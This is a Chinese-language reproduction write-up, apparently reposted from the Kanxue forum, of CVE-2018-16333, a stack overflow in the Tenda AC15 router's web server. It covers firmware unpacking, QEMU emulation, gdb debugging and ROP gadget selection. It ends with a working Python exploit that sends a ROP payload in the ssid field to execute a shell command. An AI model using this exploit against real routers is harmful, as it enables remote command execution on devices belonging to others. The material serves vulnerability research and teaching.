Tenda AC15 路由器栈溢出漏洞复现(CVE-2018-16333)
2022-10-20 18:3:53 Author: mp.weixin.qq.com(查看原文) 阅读量:15 收藏


本文为看雪论坛优秀文章

看雪论坛作者ID:五两

漏洞的原因是web服务在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中导致栈溢出。

固件版本:US_AC15V1.0BR_V15.03.05.19_multi_TD01

漏洞分析

binwalk解压固件

漏洞存在在解压出的./squashfs-root/bin目录下httpd文件中,arm小端,开了NX。

ida打开,根据ssid字符串定位到form_fast_setting_wifi_set函数。

程序获取ssid参数后,没有经过检查就直接使用strcpy函数复制到栈变量中。

其中:第一次的strcpy如果要溢出到返回地址,会覆盖第二次的strcpy的参数dest。

为了将src指针覆盖为有效地址,并且不影响第一次的strcpy,选择在libc中选择一个可读地址覆盖src指针。

$ ROPgadget --binary ./libc.so.0 --only "pop" | grep r30x00018298 : pop {r3, pc}     #gadget1 $ ROPgadget --binary ./libc.so.0 --only "mov|blx"0x00040cb8 : mov r0, sp ; blx r3  #gadget2

利用过程:

1、溢出后跳到第一个gadget1,控制r3寄存器为system函数地址,第一个pc控制为gadget2。
2、跳转到gadget2后,控制r0为要执行的命令即可。
3、执行system(cmd)。

qemu用户级调试

cp $(which qemu-arm-static) .sudo chroot ./ ./qemu-arm-static ./bin/httpd

根据字符串定位到程序,发现程序要check网络,用ida将返回值patch为1。

替换原来的httpd,chmod +x 重新启动, 报错。

同理根据字符串定位到程序,将函数返回值patch为1。

发现获取的ip地址不对。

查阅资料得程序是从名为br0得网卡获取地址,在本机建立虚拟网桥br0并重新执行程序。

# 安装配置网络的工具apt-get install bridge-utilsapt-get install uml-utilities sudo brctl addbr br0      # 添加一座名为 br0 的网桥sudo brctl addif br0 eth0   # 在 br0 中添加一个接口sudo ifconfig br0 up      # 启用 br0 接口sudo dhclient br0         # 从 dhcp 服务器获得 br0 的 IP 地址sudo chroot ./ ./qemu-arm-static ./bin/httpd

可以看到获取到的已经是本机的ip地址,程序正常运行。

在函数返回之前,下面代码会导致函数卡住,直接patch if判断条件为假即可。

qemu系统级调试

为了方便调试,我们用qemu系统级来模拟程序。

主机sudo tunctl -t tap0             # 创建一个 tap0 接口sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口sudo ifconfig tap0 up      # 启用 tap0 接口sudo ifconfig tap0 192.168.0.100/24  #为tap0分配ip地址  qemu#启动sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic user:rootpassword:root #配置qemu虚拟机网络ifconfig eth0 192.168.0.76/24ifconfig #在主机中将调试好的程序发送至qemu虚拟机scp -r ./squashfs-root [email protected]:/root #qemu中运行mount -t proc /proc ./squashfs-root/procmount -o bind /dev ./squashfs-root/devchroot ./squashfs-root/ shbrctl addbr br0    #添加br0虚拟网卡ifconfig br0 192.168.0.76/24 up #关掉地址随机化echo 0 > /proc/sys/kernel/randomize_va_space ./bin/httpd  #如果网络不同的话,重启br0和tap0ifconfig eth0 downifconfig br0 downbrctl stp br0 onbrctl setfd br0 2brctl sethello br0 1ifconfig br0 0.0.0.0 promisc upifconfig eth0 0.0.0.0 promisc updhclient br0ifconfig tap0 downifconfig tap0 0.0.0.0 promisc upifconfig tap0 192.168.0.100/24 up 虚拟机ping通主机就可以

##将程序调入后台运行ctrl zbg ##gdbserver开调试端口# ps | grep httpd 4075 0          0:05 /bin/httpd # ./gdbserver :12345 --attach 4075Attached; pid = 4075Listening on port 12345ctrl zbgfg %1 #主机用gdb-multiarch调试gdb-multiarch ./bin/httpdset architecture armset endian littletarget remote 192.168.0.76:12345b *0x0006707C  #在strcpy打断点

用exp发送数据包,gdb输入c继续运行,断在第一处strcpy函数处。


由图中可以算出目标地址距返回地址的长度为0x7efffa54-0x7efff9d8=0x7c。

继续运行程序,到第二个strcpy处。


第二处strcpy又对src进行读取,由调试中也可以看到,src在栈上距离栈底长度为28处。即0x1c。构造exp时需要在0x7c-0x1C=0x60后加入一个可读字段的地址。

所以构造exp:
payload = b'a'(0x60) + p32(readable_addr) + b'b'(0x20-8)
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

在返回地址处打断点 b *0x00067758,可以看到栈上返回地址已经被劫持成我们构造的ROP链。

继续运行,可以看到命令成功执行。

exp

import requestsfrom pwn import * cmd=b"echo hello"  '''qemu-system'''libc_base = 0x76dab000dosystemcmd = 0x76f930f0 system = libc_base + 0x5A270readable_addr = libc_base + 0x64144mov_r0_ret_r3 = libc_base + 0x40cb8pop_r3 = libc_base + 0x18298 payload = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8)payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd  url = "http://192.168.2.2/goform/fast_setting_wifi_set"cookie = {"Cookie":"password=12345"}data = {"ssid": payload}response = requests.post(url, cookies=cookie, data=data)response = requests.post(url, cookies=cookie, data=data)print(response.text)

看雪ID:五两

https://bbs.pediy.com/user-home-829831.htm

*本文由看雪论坛 五两 原创,转载请注明来自看雪社区

2.5折门票限时抢购

峰会官网:https://meet.kanxue.com/kxmeet-6.htm

# 往期推荐

1.进程 Dump & PE unpacking & IAT 修复 - Windows 篇

2.NtSocket的稳定实现,Client与Server的简单封装,以及SocketAsyncSelect的一种APC实现

3.如何保护自己的代码?给自己的代码添加NoChange属性

4.针对某会议软件,简单研究其CEF框架

5.PE加载过程 FileBuffer-ImageBuffer

6.APT 双尾蝎样本分析

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458477550&idx=2&sn=0b72d3987df04758f81772012bc5e47b&chksm=b18e536486f9da72b10b3c46a415df53afa0d06e473f74d129a73134e30cfab2ab744d72b281#rd
如有侵权请联系:admin#unsafe.sh